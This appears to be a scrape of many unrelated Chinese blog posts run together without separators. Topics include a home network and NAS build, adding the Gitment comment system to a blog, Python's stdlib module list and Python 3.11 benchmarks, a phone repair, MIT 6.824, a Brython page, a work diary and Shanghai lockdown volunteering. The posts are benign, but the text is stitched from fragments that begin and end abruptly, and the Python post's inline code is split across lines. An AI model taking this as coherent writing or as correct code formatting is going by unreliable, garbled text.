至于 AP 面板的选择,这套无线是两年前搭建的,当时 WiFi 6 才刚出来没多久,因此支持 WiFi 6 的 86 型 AP 面板就没几款,基本没有选择,所以目前家里面用的是 TP-Link 的 XAP1800GI-PoE,这是款 AX1800 AP,两年多用下来稳定性还不错,也就整体重启过 1,2 次,属于可以接受的范畴。
现在有些速率更高的产品出来了,比如 XAP30000GI-PoE,XAP5400GI-PoE 等,其中 XAP30000GI-PoE 的性价比不错,如果是现在重新安装估计就选这一款了。当然了,已经装好的显然没有足够动力去把它换掉的,等将将来 WiFi 7 出来再看看有没有啥吸引我更换设备的点吧。
至于单独的 AC 管理器,选 TP 最便宜的 TL-AC100 就可以了。不过这里又遇到一个坑啊,当初从闲鱼上买了个二手的 TL-AC100 来,发现不能用,然后才发现同样的型号有不同的硬件版本号,老版本的不支持新的 AP……
这类 AP 都可以提供很多个 SSID 供接入的,目前使用了 3 个,一个主要自用的;一个供访客使用,打开了 AP 隔离开关;前两个都是 2.4G 5G 双频合一的,然而有些智能家居设备不支持双频合一,于是又单独搞了个纯 2.4G 的 SSID,专供各种智能设备使用。
AP 接入方案的优点自然就是信号覆盖好了,现在家里面卫生间角落也能保证有稳定的 2.4G 网络可用,实现了无死角全覆盖。然而这方案理完美还有不少距离的,最大的痛点就是移动过程中 AP 切换问题,自动切换当然是可以切换的,然而这一过程并不能做到完全无感。看视频这类应用因为有本地缓冲,基本没啥影响,但如果在使用着微信语音之类实时应用就会感到切换时会卡几秒……
据说 WiFi 7 已经在着手解决此问题了,方案是同时建立和多个 AP 的连接,而非现在这样断了一个连另一个,感觉可以期待下未来的实际表现。
至于 WiFi 速率问题,其实只有距离 AP 面板或路由器很近时才能发挥出 5G WiFi 的能力,高频信号衰减很快,基本穿一堵混凝土墙后无线速率就会大幅下降。来看看实际测试结果吧:
家里面有这么多有趣的东西,在外面的时候当然会想着翻回家来看看喽~出于方便性及安全考虑,只把一个单点对外暴露,通过这个单点统一认证接入家庭内网后再访问其他服务。
最早的方案是用软路由实现的 L2TP 或 OpenVPN,然而此方案稳定性不佳,经常会连不上,折腾来折腾去都会有各种奇怪问题。再加上换了电信新的光猫后,DMZ,端口映射这些功能还一直不太正常……于是放弃了这条路,选择了使用蒲公英旁路路由方案,就是这货:
蒲公英 P5 最大的优点是,它是以旁路路由的形式工作的,可以很完美的接入现有网络架构中,没有附加多余功能,专注于远程组网。使用起来也很简单,Oray 提供了各平台的客户端,直接下载使用即可。一般情况下都可以打通 P2P 隧道,这样就是点对点通信了,不需要中转,带宽仅取决于两端网络情况。
不过蒲公英 P5 有个很奇葩的设计,免费版本只能接入 2 台终端设备,不够的话要额外购买服务,我想着要买就买吧,价格正常也可以接受,然后就看到奇葩东西了,要买的话一个终端 ¥78 一年,先不说这价格贵不贵,关键是,我要加第 3 个设备,不是按正常人类的想法,再买一个就好了,而是要把之前两个免费的也算上,一共买 3 个终端才行
算算价格,我每年要花 200 多的服务费,然而这设备本身才 200 多块钱,我为什么不再买一个?于是乎,就有了两个蒲公英 P5……
蒲公英 P5 目前只能算满足基本需求能用了,目前正准备升级这部分,搞一套飞塔 Fortinet 的 SDWAN 防火墙来。Fortinet 算是国际大厂了,大量中小型企业甚至是大型企业的硬件防火墙使用的都是 Fortinet 的产品,在 Gartner 的魔力象限中也遥遥领先。目前主推的桌面型无风扇设备是下面这三款:
当然了,如此先进的企业级设备价格也是企业级的喽,全新机器基本都是 5000 以上的。这么贵的全新机器当然是买不起的,由于有大量企业在使用 Fortinet 的产品,自然想到去闲鱼上找一些二手设备来用用了。反正现在魔都也发不了快递,正好好好研究下选那个型号好。
实际上这就是一台正常 PC 机,硬件上没有什么特别的,处理器是多年前的 AMD 1700,64G 内存,2 块 SATA SSD + 1 块 NVME,网卡就是前文提到的双口 82599,此外还有主板自己板载的 RJ45 口。
机器安装了 PVE 作为虚拟化平台,PVE 同时支持虚拟机和 LXC 容器,软路由使用的是虚拟机,其他的 LXC 容器居多。当然说到容器的话 Docker 的生态会更好些,因此也同时安装了 Docker,LXC 和 Docker 混合着使用,能用 LXC 的优先选 LXC,LXC 没有的用 Docker。
软路由的选择上也折腾过很多,目前用的是 HomeLede 这个基于 OpenWRT 的定制版本:
软路由的稳定性上还是有所欠缺,基本每个月都要重启一次系统才行,不过好在一般重启了也就都正常了。
这台机器当然不仅仅是作为软路由来使用的,只当软路由也太浪费了一些,上面还运行着各种不同服务:
家庭中心化存储的核心自然就是 NAS 啦,目前家里面有两台 NAS,一台用蜗牛星际搭的黑群晖,另一台是威联通的 TS-532X。来一张合影:
蜗牛星际就不多说了,懂的都懂,多年前垃圾佬最爱的东西,几百块钱就有 NAS 了。然而垃圾毕竟是垃圾,使用起来问题不少,最严重的问题是,蜗牛星际机器的散热太差了,装满 4 块硬盘同时工作的时候,经常触发超温报警,甚至是直接过热关机因此目前重要的资料都没放在这个 NAS 上,也正在想办法改进下散热问题……
威联通的 TS-532X 还是很好用的,可以装 3 块 3.5 寸盘 + 2 块 2.5 寸盘,一般那两块 2.5 寸盘都是放 SSD 的,QNAP 有 QTier 自动分层技术,可以自动把经常使用的数据移到 SSD 上。
RAID 的配置上,3 块 HDD 使用 RAID 0,2 块 SSD 使用 RAID 1。至于怎么解决 RAID 0 数据安全性问题呢,当然是备份喽,其实 RAID 并不是解决数据安全性良好的方案,更大的意义是提供高可用和高性能。
QNAP 的数据备份功能做得还是不错的,用的是 HBS3 这款软件,前几个月刚刚添加了百度网盘支持,因此目前备份比较好的选择是百度网盘和阿里的 OSS 对象存储。两个我都试用了一下,HBS3 对阿里 OSS 的支持似乎有些 Bug,太大的单体文件(比如几十 GB 的文件)上传会失败,给他们提了工单不知道目前解决了么。因此目前备份选择的是百度网盘。在初始几次全量备份的时候失败率比较高,会有些文件上传失败,不过不用管它,多来几次,后面的定期增量备份数据量不大基本都是全部成功的。
QNAP 提供了数据加密功能,上传上去的数据可以都预先加密一次,因此无需过多担心隐私安全问题。如果想要从百度网盘里下载个别文件怎么解密呢,此时可以使用 QENC Decrypter 工具:
再来说下硬盘选择问题吧,大部分 NAS 玩家都喜欢使用希捷酷狼,西数红盘等,其实这里还有一个性价比更高的选择,那就是选企业级硬盘。企业级硬盘在可靠性,性能等方面是完全可以满足要求的,质保也要更长(一般都是 5 年),单位 GB 价格其实还要更低一些,唯一的缺陷是企业级盘不太考虑噪音,功耗等问题。威联通自己的推荐磁盘列表里就有不少希捷银河系列企业盘。目前我用的是希捷的 ST8000NM000A & ST3000NM0033,分别是 8T 和 3T 的盘。当前性价比比较高的是 16T 的 ST16000NM000J:
最后再来说下供电问题吧,为了避免突然断电对硬盘造成不可逆损坏,一般 NAS 前都会加 UPS 不间断电源。为 NAS 设计的 UPS 有个 USB 输出口,发生断电后会通知 NAS 关机。不过这个 USB 口只有一个,只能连接到一台 NAS 上,那有多台 NAS 怎么办呢?让连接 USB 接口的 NAS 通过网络向其他 NAS 进行广播就好了。
从 NAS 中拷贝大文件至 PC:
这个速度在维持了一段时间后会有所降低,此时的性能瓶颈是在 NAS 的 HDD 读取速度上的,要是买个盘更多的 NAS 或者直接用 SSD 那就可以充分发挥出万兆网络的优势了。
本来博客使用的是多说作为评论系统,前两年多说停止服务了换成了友言,用了没多久友言又要求备案不能用了……后面由于工作繁忙也就没管这个了。前段时间发现Gitment这个基于Github Issue的评论系统不错,这两天终于有空把它给加上了。
我使用的主题是基于Yelee做了些修改得到的,Yelee又是基于Yilia的,添加Gitment的过程可以参考这篇文章:
Yiila主题也添加了Gitment支持,其Commit也是很有参考价值的。
与以上教程有区别的是,无需安装Gitment npm插件,添加修改的代码我也改了下,有兴趣的话可以看这个Commit。
其中Gitment的CSS & JS文件改为了本地压缩后的版本,评论框的显示效果也调整了下。
终于评论系统又可以用啦~
Update:
2021-06-12: Gitment 的 Github OAuth 是依赖于外部服务器的,目前公共的挂得差不多了,需要自己搭一个,参考下文:
Update at 2022-05-21:
gitment 需要一个中间服务器的原因在于 Github OAuth Response 是不支持 CORS 的,因此若直接由浏览器发起请求会被拒绝。Github 的文档中也明确指出由前端直接发起 OAuth 请求的方式是不被支持的。
所以需要一个代理服务,即上文提到的 gh-oauth-server。之前是找了台云服务器来做这个事,然而对于这种一天就没几次请求的业务来说,单独用一台服务器来部署实在是太浪费了,更好的方法是使用 Serverless 服务来做这个事。
因此又对 Gitment 评论系统做了些升级改造:
JetBrains 活动(2022.11.22结束):https://blog.jetbrains.com/zh-hans/pycharm/2022/11/jetbrains-pycharm-python/
sys.stdlib_module_names
!sys.stdlib_module_names
返回的是一个 frozenset 类型的对象,其元素是所有标准库的名称。>>> import sys
>>> import pickle
>>> with open("libs", "wb") as f:
... pickle.dump(sys.stdlib_module_names, f)
...
>>> import sys
>>> import pickle
>>> with open("libs", "rb") as f:
... old_libs = pickle.load(f)
...
>>> sys.stdlib_module_names - old_libs
frozenset({'_typing', '_scproxy', '_tokenize', 'tomllib'})
>>> old_libs - sys.stdlib_module_names
frozenset({'binhex'})
_typing
、_scproxy
、_tokenize
以及 tomllib
,同时它也减少了一个binhex
。sys.stdlib_module_names
是 3.10 版本的新特性,在它之前,有一个相似的sys.builtin_module_names
,但它返回的只是被解释器使用到的内置模块:sys.stdlib_module_names
这项功能呢?stdlib-list
,可用于获取部分 Python 版本(2.6-2.7;3.2-3.9)的标准库清单。这个库的作者在文档中提到了他的诉求,也提到其它开发者有着同样的诉求:sys.stdlib_module_names
这项功能的核心开发者 Victor Stinner 也总结了几个使用场景:当计算项目的依赖关系时,忽略标准库中的模块:https://github.com/jackmaney/pypt/issues/3
当监测第三方代码的执行时,忽略标准库,使用监测工具的--ignore-module
选项:https://stackoverflow.com/questions/6463918/how-can-i-get-a-list-of-all-the-python-standard-library-modules
在格式化 Python 代码文件时,对 import 的标准库模块进行分组。isort 库包含了标准库的列表,它依据 Python 在线文档生成了每个版本的标准库清单:https://github.com/PyCQA/isort/tree/develop/isort/stdlibs
sys.stdlib_module_names
的作用还真是不小。另外,在写作本文的时候,我从 CPython 的 Issue #87121 中发现,著名的机器学习库pytorch
也需要这项功能。pytorch
曾经硬编码了每个 Python 版本的标准库列表,代码冗长,现在已经适配成使用新的方法 ,大大方便了后续的维护:
本文是一篇「小作品」。草,写着写着发现越写越长,一点也不「小」嘛。
或许我真的应该尝试一下「小」作品的体例才是。
我的长期TODO列表里已经躺着五六篇以“博文”开头的条目——原本想着寒假一周一篇很快就能写完,然而到现在也没动笔。爆肝填坑了一个星期,今天实在有点累,不大想打开 RustLion,于是把这篇坑了很久的文章写一写。
在这几篇坑了这么久的文章中其实有一篇已经写了前半部分了,然而咕了太久后半部分要写什么都有点不大记得,于是只能前功尽弃…
本文的主要内容是从我个人的经验出发,简单聊聊对于 Rust 的一些想法和体会。我会尽量避开诸如 “文档质量良好”、“很有特点” 这类宽泛的概括,而尽量将自己在使用 Rust 编程的过程中感受到的一些特别之处、尤其是和此前经历的不同之处拿来说说。我期望如此行文能使得本文对无论是 Rust 初学者、还是仍在观望的开发者甚至是 Rust 老手们都能带来一定启发。
最近这鬼天气,气温上蹿下跳,深秋不见秋,立冬变立夏,秋衣换短袖。这次的维修的手机是客服部的一女同事的手机,单从手机本身来讲其实是没有修的必要的,因为同事新手机都在手上,主要是手机内太多重要的资料需要备份和使用,于是就找到我希望帮忙修复手机。我一向的态度就是死马当活马医,修好还你一部手机,修不好送我一部废品。
我拿到手的时候,这手机外屏边角磕碎,内屏碎了并且花屏,整个屏幕从中框中部分脱离,就图中这个鬼样子。我看屏幕已经都快分离了,初步估计换屏也比较容易,也就随口应了下来,不成想后面换屏竟然要拆主板和中框。
撬棒拆除后盖,还是比较好拆的,因为这部手机曾经换过电池,不是原厂密封胶,都不用加热,直接就能撬开,但是还是草率了,这个换电池估计也是哪个半吊子动手换的,这密封胶打的还不如我,看的我想吐。在拆的时候,由于胶把信号线粘在后盖上了,所以拆除的时候信号线就给拉断了,同时我还发现指纹模块的线也断了,信号线是我拉断的我敢肯定,但是指纹排线没感觉扯断啊。然后看下下排线断裂的地方,竟然有胶,很明显应该是之前换电池的人给扯断的。就顺道问了一下我同事,之前是不是指纹不能使用,她说是的,换了电池以后指纹就不能用了。这我对自己的手法又相信了几分。
后盖拆开以后,看到这断掉的信号线,就打算给接上,准备直接上焊锡的,结果一看,尼玛这么细的同轴电缆,接起来是没戏了,只能买配件的。鉴于指纹模块也是坏的,就一并换了吧。同时我拿到手机的时候,电池是亏电的,尝试充电发现无法充进去,只能连着充电器,估计尾插也有点问题,以防万一,连尾插小板一起买一个。而要换的屏幕是我同事之前直接买好的,一起连手机给我了。所以迅速和同事确认了一下是不是确定要更换,并把配件报价告诉她。得到肯定以后,万能某宝下单,就等配件到达继续开拆了。
主板上层塑料盖,依次打掉螺丝即可,螺丝一长一短两种,分开存放。不用记具体哪个孔是长的哪个是短的,深孔浅孔一眼就能看的出来。保护盖拆掉以后就是拔出排线。图中1、2分别是两根信号线。3是指纹模块排线。中间两根左边的FHD的是屏幕排线,右边是尾插的排线。右上角是前置摄像头模组排线。电池排线我在拆后盖的时候就用镊子从缝里面取掉了。拆除所有排线以后就能取下主板了,务必先把SIM卡槽先取出来,我忘了取卡槽,恁是半天没取下主板,浪费5分钟。
尾插一样有个保护盖,一圈螺丝打掉就行,也分长短。图中1、2就是前面提到的信号线,拔掉主板排线就能取掉尾插。尾插取下的时候留意下扬声器,更换新的尾插板,插上两根信号线,将信号线从预留的边缝里面走线走好即可,然后尾插盖板螺丝重新装回。
没啥好说的,把原指纹模块拆下来,然后将新的带排线指纹模块装回去,看图将线从中框外部插进去,指纹模块到位以后,然后用锁扣卡住,锁扣就是拆指纹模块的那个金属限位器,两头有两个螺丝,我忘了拍图,仔细看下指纹模块两端有个卡脚,看上面那个买回来的配件图上。然后将锁扣对准卡脚压下去,上螺丝就行。
没啥说的,将屏幕排线从中框空隙中塞过去,卡到主板上就行。然后就是主板装回,装上电池,装上护板,上螺丝。
所有配件装回以后,先不急装后盖,插电检查充电情况,开机测试,指纹模块测试。系统音量、震动,前后置摄像头,距离传感器,地图定位等等都做下测试。确实没有问题后即可安装后盖了
将后盖边缘残胶及中框残胶做一下清理,沿后盖边缘均匀打一圈密封胶,然后将后盖卡到位,上皮筋五花大绑,静置几个小时就大功告成了。
作者:Beshr Kayali
译者:豌豆花下猫@Python猫
英文:https://log.beshr.com/python-311-speedup-part-1
转载请保留作者及译者信息!
$ python -m pyperf timeit -s \
'k = "foo"; v = "bar"' -- '"%s = %r" % (k, v)'
.....................
Mean +- std dev: 187 ns +- 8 ns
$ python -m pyperf timeit -s \
'k = "foo"; v = "bar"' -- 'f"{k!s} = {v!r}"'
.....................
Mean +- std dev: 131 ns +- 9 ns
$ python -m pyperf timeit -s \
'k = "foo"; v = "bar"' -- '"%s = %r" % (k, v)'
.....................
Mean +- std dev: 100 ns +- 5 ns
python -m pyperf timeit -s 'x=10**1000' -- 'x//10'
.....................
Mean +- std dev: 1.18 us +- 0.02 us
python -m pyperf timeit -s 'x=10**1000' -- 'x//10'
.....................
Mean +- std dev: 995 ns +- 15 ns
即使在 x64 上,Python 的除法也有些残缺。假设是 30 位数字,则多精度除法所需的基本结构是 64 位除以 32 位的无符号整数除法,产生一个 32 位的商(理想情况下还会产生一个 32 位余数)。有一个 x86/x64 指令可以做到这一点,也就是 DIVL。但是如果不使用内联汇编,当前版本的 GCC 和 Clang 显然做不到从 longobject.c 中发出该指令——它们只会在 x64 上使用 DIVQ(128 位除以 64 位的除法,尽管被除数的前 64 位被设为零),而在 x86 上则使用固有的 __udivti3 或 __udivti4。
——Mark Dickinson(全文)
$ python -m pyperf timeit -s 'd = [0] * 10000' -- 'sum(d)'
.....................
Mean +- std dev: 37.4 us +- 1.1 us
$ python -m pyperf timeit -s 'd = [0] * 10000' -- 'sum(d)'
.....................
Mean +- std dev: 52.7 us +- 1.3 us
$ python -m pyperf timeit -s 'd = [0] * 10000' -- 'sum(d)'
.....................
Mean +- std dev: 39.0 us +- 1.0 us
$ python -m pyperf timeit -s \
'x = list(map(float, range(10_000)))' -- '[x.append(i) for i in range(10_000)]'
.....................
Mean +- std dev: 605 us +- 20 us
$ python -m pyperf timeit -s \
'x = list(map(float, range(10_000)))' -- '[x.append(i) for i in range(10_000)]'
.....................
Mean +- std dev: 392 us +- 14 us
$ python -m pyperf timeit -s \
'' -- '[x for x in list(map(float, range(10_000)))]'
.....................
Mean +- std dev: 553 us +- 19 us
$ python -m pyperf timeit -s \
'' -- '[x for x in list(map(float, range(10_000)))]'
.....................
Mean +- std dev: 516 us +- 16 us
>>> sys.getsizeof(dict(foo="bar", bar="foo"))
232
>>> sys.getsizeof(dict(foo="bar", bar="foo"))
184
asyncio.DatagramProtocol
提供了一个用于实现数据报(UDP)协议的基类。有了这个优化,使用asyncio UDP 传输大文件(比如 60 MiB)将比 Python 3.10 快 100 多倍。asyncio.DatagramProtocol
有着数量级的提速。math
标准库中增加了 comb(n, k) 和 perm(n, k=None) 函数。两者都用于计算从 n 个无重复的元素中选择 k 个元素的方法数,comb
返回无序计算的结果,而perm
返回有序计算的结果。(译注:即一个求组合数,一个求排列数)unsigned long long
类型而不是 Python 整数进行comb
计算(*)。对于
0 <= k <= n <= 67
,comb(n, k)
always fits into auint64_t
. We compute it ascomb_odd_part << shift
where2 ** shift
is the largest power of two dividingcomb(n, k)
andcomb_odd_part
iscomb(n, k) >> shift
.comb_odd_part
can be calculated efficiently via arithmetic modulo2 ** 64
, using three lookups and twouint64_t
multiplications, while the necessary shift can be computed via Kummer’s theorem: it’s the number of carries when addingk
ton - k
in binary, which in turn is the number of set bits ofn ^ k ^ (n - k)
. *
math.comb(n, k)
(for small n) got replaced with a more direct method based on counting trailing zeros of the factorials involved. (*).$ python -m pyperf timeit -s \
'import math' -- 'math.comb(100, 55)'
.....................
Mean +- std dev: 3.72 us +- 0.07 us
# ---
$ python -m pyperf timeit -s \
'import math' -- 'math.comb(10000, 5500)'
.....................
Mean +- std dev: 11.9 ms +- 0.1 ms
$ python -m pyperf timeit -s \
'import math' -- 'math.comb(100, 55)'
.....................
Mean +- std dev: 476 ns +- 20 ns
# ---
$ python -m pyperf timeit -s \
'import math' -- 'math.comb(10000, 5500)'
.....................
Mean +- std dev: 2.28 ms +- 0.10 ms
# Mean
$ python -m pyperf timeit -s \
'import statistics' -- 'statistics.mean(range(1_000))'
.....................
Mean +- std dev: 255 us +- 11 us
# Variance
$ python -m pyperf timeit -s \
'import statistics' -- 'statistics.variance((x * 0.1 for x in range(0, 10)))'
.....................
Mean +- std dev: 77.0 us +- 2.9 us
# Sample standard deviation (stdev)
$ python -m pyperf timeit -s \
'import statistics' -- 'statistics.stdev((x * 0.1 for x in range(0, 10)))'
.....................
Mean +- std dev: 78.0 us +- 2.2 us
# Mean
$ python -m pyperf timeit -s \
'import statistics' -- 'statistics.mean(range(1_000))'
.....................
Mean +- std dev: 193 us +- 7 us
# Variance
$ python -m pyperf timeit -s \
'import statistics' -- 'statistics.variance((x * 0.1 for x in range(0, 10)))'
.....................
Mean +- std dev: 56.1 us +- 2.3 us
# Sample standard deviation (stdev)
$ python -m pyperf timeit -s \
'import statistics' -- 'statistics.stdev((x * 0.1 for x in range(0, 10)))'
.....................
Mean +- std dev: 59.4 us +- 2.6 us
PyUnicode_IS_ASCII
实现。$ python -m pyperf timeit -s \
'import unicodedata' -- 'unicodedata.normalize("NFC", "python")'
.....................
Mean +- std dev: 83.3 ns +- 4.3 ns
$ python -m pyperf timeit -s \
'import unicodedata' -- 'unicodedata.normalize("NFC", "python")'
.....................
Mean +- std dev: 34.2 ns +- 1.2 ns
「生活,就是当你忙着做其它计划时,发生在你身上的事」:要问起开始学 MIT6.824 的缘由,这是一句恰如其分的描述。一个学期结束,原本的计划是深入研究一下编程语言和形式化验证,然后换到一个和操作系统关系更大的岗位;不知不觉却变成了写个数据库,在做操作系统相关的工作前先试试存储的方向——刚放假时我还对自己说,我是绝对不会喜欢上存储的。也许人们对自己还没下过苦功的事情,就是提不起劲的吧?
于是春节假期开始,明显一年比一年淡漠的气氛(今年甚至没看拜年祭)环绕,倒也是为思考提供了较好的场所:没有多少亲戚前来拜访,也就没有多少生硬蹩脚的玩笑和紧张尴尬的时刻需要消化。到现在,整一个月,算是把 MIT6.824 彻底完成了。
老实说,这并不如我想象中的难。在上手之前总觉得 824 的高不可攀,非顶尖学府的高手不可;但在自己突然完成之后却发现虽然过程并不是「出乎意料地」顺利,但产出确实是出乎意料地好。
我已开源了这份实现。这一实现稳定通过了 Lab 1 到 Lab 4 的每一个测试点(至少 1000 次,通常 2000 次;其中 Linearizability2B
通过了 10000 次——这么做是因为在提出 porcupine 的文章中,作者说TA “没有找到任何一个线性一致性测试不能发现的错误”),完成了 Lab 4 的两个 Challenges(即标题中的全异步 shardkv),同时还额外实现了 LeaseRead with noop 的优化,使得读请求无需经共识层——本文中提出的解决方案或许是对如何在 MIT 6.824 中实现这一优化的较好参考。另一方面,我谨慎地组织了代码结构,保证代码的粒度适宜——既不引入过多重复,又不引入过多函数(是不是想起了洗试管的原则?嘿嘿),每一次修改都执行了充分的回归测试,并且非常谨慎地操作 squash 和 cherry-pick,保证修改最少、最必要,且和我完成 Lab 的进度严格对应:这意味着读者可以从代码的提交历史中明确看到某个 Lab 和下一个 Lab 之间应要做哪些修改。
作者:Al Sweigart
译者:豌豆花下猫@Python猫
英文:https://inventwithpython.com/blog/2022/10/30/17-online-python-ides-and-interactive-shellsrepls
转载请保留作者及译者信息!
<!doctype html>
<html>
<head>
<script type="text/javascript" src="brython.js"></script>
<script type="text/javascript" src="brython_stdlib.js"></script>
<style>
.codearea {
background-color:#000;
color:#fff;
font-family:'Oxygen Mono', Consolas, 'Liberation Mono', 'DejaVu Sans Mono', monospace;
font-size:14px;
overflow:auto
}
</style>
</head>
<body onload=brython({"debug":1}) ><!-- remove the 1 to leave debug mode -->
<noscript>Please enable Javascript to view this page correctly</noscript>
<textarea id="code" class="codearea" rows="20" cols="100"></textarea>
<script type="text/python3">
from interpreter import Interpreter
# Start an interactive interpreter in textarea with id "code"
Interpreter("code")
</script>
</body>
</html>
又快两个月没有写博文了。与其说好久没写博客,不如说时间过的真快。
八月过完一个没有任何波澜、惊喜的失望生日后,中秋结束后,几周后,国庆到来。
国庆过后,工作非常的忙。十月也是第三季度的最后一月,因此除了日常工作,还有新一季度的任务规划,各种会议。
能明显感受的是,如果一天接收到的飞书消息超过100条,就会感觉压力很大,会有一种一整天都在回消息而没有很多空闲时间用来开发的感觉。
十月下旬的时候,家里又出事情了。为这件事情,这是我第一次尝试心理咨询。字节有为员工提供免费的心理咨询服务,因此就尝试了。因为,我觉得我不说出来,总会为这件事抑郁的。事情发生的时候,想给朋友打电话。但是没有。因为朋友们都太忙了,不知道可以找谁。
那个周末约另一个朋友出来,第二天中午才回复我没空。他家的猫要绝育。
十月还有两个朋友过生日。工作后,与朋友联系越来越少,一方面工作让我忙到没有太多欲望找人聊天,另一方面,朋友呢,似乎也很忙,在忙自己的那个新的生活圈。
入职前,一个高中朋友说开学前来北京,没有来。他去广东读博了。暑假的时候说导师有活。我们上一次见面是2020年,我研一的时候。广东距离北京两千多公里,也许我们这辈子都见不到面了,又或者等我们再次见面了还不如不见面。
十二月初我现在住的房子就要到期了,十二月中旬我们也要搬工区,因此下个月又要开始找房子了。不过正好也能离开我租的房子了,年轻人租房的第一次坑——租loft公寓。
和我一起入职的校招生,十一月上旬准备换base,从北京到另一个城市了。我和他几乎同时开始实习的,前后差了两周,而且是同一个学校的。刚开始实习的时候,我们组只有我们两和另一个实习生。我和他关系最熟。后来入职的时间也差不多。我是一个不会社交的人,在他入职之前,我都是自己一个人去吃饭,因为我不知道和一群人说什么。他来了之后,我和他还有一些同事一起吃饭。渐渐的大家都熟了,现在一起吃饭的氛围也比之前好了很多。有点难受。
十月有一周几乎晚上9点半才下班,到家快10点。看看手机就到11点了。睡觉后第二天起床,周而复始,慢慢的开始适应这种程度的压力。
iPhone 14发布后,我的手机不争气的屏幕碎了几道横线,原因是骑电动车的时候,口袋没有拉紧,手机就和大地进行了亲密的接触,虽然屏幕有几道比较明显的划痕,但是仍然可以使用。因此,暂时不准备换手机了。因为一天大部分的时间都在电脑上,手机除了晚上休息之前会看看,使用的越来越少。
在工区的时候,随处看看,会发现大部分的手上都会有一个数码手表。Apple产品可以说是互联网人的心头好。我猜原因可能是Apple产品本身就代表了一种轻奢的属性。在这个压力如此大的职场中,也许大家都想买个更好的奖励一下自己。因此,我更警觉的避免自己陷入这种消费主义的陷阱。大家都同样的用着MacBook,Apple watch,AirPods ,AirPods Max,看上去都是同样的光鲜亮丽,才让我开始反省这些产品到底对自己有多大的价值(当然MacBook 作为生产力工具对我而言是价值很大)。
我大学的时候有的第一个AirPods1代,在去年的时候基本没法用了,因为电池用10分钟后,就会从满电到没电。之前考虑是重新换一下电池还是重新购买一个新的AirPods 2代。修电池需要200多,重新买一个大概不到700。最后的结论是不修,也不买。我有一根当初买手机附赠的有线耳机,为什么不能用有线耳机呢。当然能用,而且音质更好。
不管是Apple软件还是一些效率软件,总是披着一层美好生活的皮,他们的宣传图中喜欢咖啡,喜欢各种酷的事情。彷佛拥有了他们,就能和他们一样的酷的让自己的生活换层皮。这当然是不可能的。
十月更新了新的版本的handsome主题,希望新的标签和搜索能力可以给你带来更多的新鲜感和帮助。
新的季度会有更多一些有挑战的事情去做,而十月就这样过去了。
断更半年,是那些不应该出现在人类世界的微观入侵者颠覆了生活所致,是那些原可以控制住混沌瘴疠的庙堂当权者错估了形势所害。而我们,在一波一波的封控中艰难的活着。不见草长莺飞二月天,不闻拂堤杨柳醉春烟,原是儿童散学归来早,只道忙趁东风放纸鸢。
年后,陆续爆发的疫情,魔都到处狼烟,一直号称的精准防控,科学防疫的魔都,也在不断的流调中疲于奔命。无论是公司附近,还是小区周边,不时的有地点被封控。该来的总是会来,终于轮到自己被封楼。封控在家时申请居家办公、叮咚美团抢菜就像生活变成了线上。解封上班后开会加班、菜场屯菜又回到线下烟火。随着三月下旬日趋严重的疫情,开始有不断的传言会封城,加上雌都此前快刀斩乱麻的效率,魔都谣言此起彼伏。我就在办公室呼吁同事照着一个礼拜的量进行屯菜。
到后来众所周知的口天大嘴说魔都不会封个三五天,因为魔都不仅是魔都的魔都,更是巴拉巴拉的胡说了一通。这也直接造成了后来某副总来魔都后果断封城造成了很多人准备不足的一个原因。我清晰的记得3月29日下午我正在工作中,居委会通知我赶紧返回,小区封控,跟公司报备后,火急火燎的在回家的路上去了趟菜场,又屯了一周的菜。到4月1日原本鸳鸯锅的一半要解封的,竟然没解封,我就知道菜屯了两周的还是屯少了。
▼网图:囤满菜的冰箱
由于被封楼了,所以居民也无法外出,各种快递外卖也无法进楼,加上有被单独封户的,连家门都出不了。楼组长在楼栋群号召有没有志愿者可以参与抗疫帮忙。本着封控在家,时间自由,帮助邻里,力所能及的原则就报了个名,这一报,就干了半年,一直干到9月底,因工作时间的问题,渐渐退出了志愿服务。
▼穿上防护服全副武装的我
志愿者的最主要的任务是协助居民参加核酸检测、维持秩序。前期魔都扫码一直是用健康云,健康云是每次核酸每次要登录生成核酸检测码,它也就难逃兄弟城市遇到的窠臼,延迟、卡顿、崩溃,志愿者一般在维持秩序的过程中帮助居民刷健康云,帮助老年人录入身份信息生成核酸码。到后面魔都又突换随申办生成核酸码,切换的过程也是一波三折,支付宝微信随申办三个途径,最后经过测试只有支付宝最快,好不容易前面健康云培养的用户习惯在随申办上又来了一遍,估计大数据中心的人也是过于自信,随申办前期仍然延迟、卡顿、崩溃三连。
在维持秩序的过程中,会开通一些绿色通道,让腿脚不方便的老人和抱在手上的儿童优先核酸,绿色通道的队伍短,总是有不自觉的居民去插队,那时候我们志愿者和插队居民经常干嘴仗,也就导致我们被骂被嘲讽被诬陷成了常态。
另一小部分志愿者会参与扫码,配合医护拆棉签、贴标签、封箱等采样辅助类工作,直到后来,援沪医疗队陆续离开后,魔都采样队伍大幅空缺,就由本地第三方医疗团队对社区内报名参与核酸采样培训的人进行培训考核,考核通过后就纳入由第三进行市场化管理,说人话就是后来常态化检测队伍大部分是这些人,他们是有钱拿的,所以我也不把他们定义为志愿者了。
▼我们核酸一号点位的志愿者伙伴
▼浙江援沪医疗队的白衣天使们
▼登陆了扫码采样系统的志愿者的手机
志愿者的第二项主要任务就是扫楼发抗原试剂,回收抗原登记检测结果。依稀记得从4月中旬开始,除了定期的核酸检测,每天还要进行一遍抗原自测。刚开始需要登记抗原自测者的姓名,身份照,地址信息,一栋楼72户人家,得几个小时,后来在志愿者的协调之下,改成登记户号,人数,回收抗原检测卡的形式,为了防止有人作弊,抗原采用现发现做的形式,但是发抗原时间通常在早上5点就开始,而六点半之前要上报结果,如果逐户盯着做,就无法报数据了,最后妥协的结果就是每次发不同厂商的抗原,然后选择相信居民的自觉性,从顶楼发完一楼,再从顶楼回收到一楼。如果发现有抗原异常的,那就让对方关好门,拨打居委电话,等待上门核酸,上门核酸无异常就继续居家隔离,如果核酸异常,那就打包行李去方舱吧。幸好,2个月全封闭下来,我们楼无异常,隔壁楼抓走好几个。
▼这是后来抗原结束后,收集的抗原试剂盒子(一个楼栋)
4月前两周还好,大家多多少少都备了一些菜的,随着服务上门这个举措迟迟没有到位,很多居民家就断粮断药了。最疯狂的时候魔都都没有大车司机送货进来,一旦来了就出不去。后来政府在嘉兴和昆山建了两个大型中转仓,外地司机只要把挂车拉到中转仓,然后由魔都的司机和车辆去拉到市内。就这样才逐渐解决了供应的问题,自那以后,高速上全是大货排长队往上海方向调运物资,毕竟2500W人单日消耗量巨大。
